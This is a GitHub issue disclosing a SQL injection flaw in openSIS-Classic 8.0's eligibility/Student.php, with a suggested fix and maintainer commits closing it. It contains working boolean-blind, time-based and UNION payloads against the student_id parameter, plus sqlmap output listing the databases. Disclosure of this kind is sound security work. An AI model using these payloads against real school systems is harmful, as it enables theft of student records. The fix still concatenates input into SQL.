New issue

Jump to bottom

SQL Injection in /modules/eligibility/Student.php #248

Closed zerrr0 opened this issue on Mar 7 · 1 comment

zerrr0 commented on Mar 7

Due to lack of protection, parameter `student_id` in /modules/eligibility/Student.php can be abused to injection SQL queries to extract information from databases.

POC:

```
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: /openSIS-Classic-8.0/Ajax.php?modname=eligibility/Student.php&student_id=(SELECT (CASE
WHEN (5146=5146) THEN 15 ELSE (SELECT 5608 UNION SELECT 5507) END))&ajax=true

Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: /openSIS-Classic-8.0/Ajax.php?modname=eligibility/Student.php&student_id=15 AND
2719=BENCHMARK(5000000,MD5(0x5246526f))&ajax=true

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: /openSIS-Classic-8.0/Ajax.php?modname=eligibility/Student.php&student_id=15 UNION ALL
SELECT
NULL,NULL,CONCAT(0x716b706271,0x6b67466d72447a6e53786a6d4c527a71657250527871584356544f484c4a417a494c4
- -&ajax=true
```

```
    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: http://192.168.1.8:80/openSIS-Classic-8.0/Ajax.php?modname=eligibility/Student.php&student_id=15 UNION ALL SELECT NULL,N
ULL,CONCAT(0x716b706271,0x6b67466d72447a6e53786a6d4c527a71657250527871584356544f484c4a417a494c48637847576d,0x7170786b71),NULL,NULL--
-&ajax=true
---
[22:24:12] [INFO] testing MySQL
got a 302 redirect to 'http://192.168.1.8:80/openSIS-Classic-8.0/index.php'. Do you want to follow? [Y/n] n
[22:24:15] [WARNING] reflective value(s) found and filtering out
[22:24:15] [INFO] confirming MySQL
[22:24:17] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.52, PHP 7.4.27
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[22:24:17] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] opensis
[*] performance_schema
[*] phpmyadmin
[*] test
```

Traceback:

openSIS-Classic-8.0/modules/eligibility/Student.php

Solution:

Use function sqlSecurityFilter() before assign $_REQUEST['student_id'] into query "SELECT".

```
82  </div>
83  </div>';
84  }
85  if ($_REQUEST['modfunc'] == 'add' || $_REQUEST['student_id']) {
86      if ($_REQUEST['student_id'])
87          $student_id = sqlSecurityFilter($_REQUEST['student_id']);
88          $RET = DBGet(DBQuery('SELECT FIRST_NAME,LAST_NAME,MIDDLE_NAME,NAME_SUFFIX FROM students WHERE STUDENT_ID=\'' . $student_id . '\''));
89      else
90          $RET = DBGet(DBQuery('SELECT FIRST_NAME,LAST_NAME,MIDDLE_NAME,NAME_SUFFIX FROM students WHERE STUDENT_ID=\'' . UserStudentID() . '\''));
91      $count_student_RET = DBGet(DBQuery('SELECT COUNT(*) AS NUM FROM students'));
92      if ($count_student_RET[1]['NUM'] > 1) {
93          DrawHeaderHome('<div class="panel"><div class="panel-heading"><h6 class="panel-title">'._selectedStudent.' : ' . $RET[1]['FIRST_NAME'] . ' ' . ($
94      } else if ($count_student_RET[1]['NUM'] == 1) {
95          DrawHeaderHome('<div class="panel"><div class="panel-heading"><h6 class="panel-title">'._selectedStudent.' : ' . $RET[1]['FIRST_NAME'] . ' ' . ($
96      }
97  }
98  if ($_REQUEST['modfunc'] == 'add' && AllowEdit()) {
99      $stu_act_record = DBGet(DBQuery('SELECT ACTIVITY_ID FROM student_eligibility_activities WHERE STUDENT_ID=' . UserStudentID() . ' AND SYEAR=' . UserSyear()
100     foreach ($stu_act_record as $rec_k => $rec_v)
101         foreach ($rec_v as $recr_k => $recr_v)
102             $ret[] = $recr_v;
```

sarika0lal added a commit that referenced this issue on Mar 31

Commit regarding #248 — 3d31dad

sarika0lal added a commit that referenced this issue on Mar 31

Merge pull request #261 from OS4ED/user/sarika/2022-03-31 ... — ✓ a644bd2

sarika0lal commented on Mar 31 — Contributor

Hello,

We appreciate your observation and would like to inform that your suggestion has been implemented. Please check and let us know your feedback in case you have any.

Thank you.

 **sarika0lal** closed this as completed on Mar 31

---

sarika0lal added a commit that referenced this issue on Mar 31

 `Recommit regarding #248` `489afd0`

sarika0lal added a commit that referenced this issue on Mar 31

 `Merge pull request #262 from OS4ED/user/sarika/2022-03-31` ... ✓ `94d0f17`

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants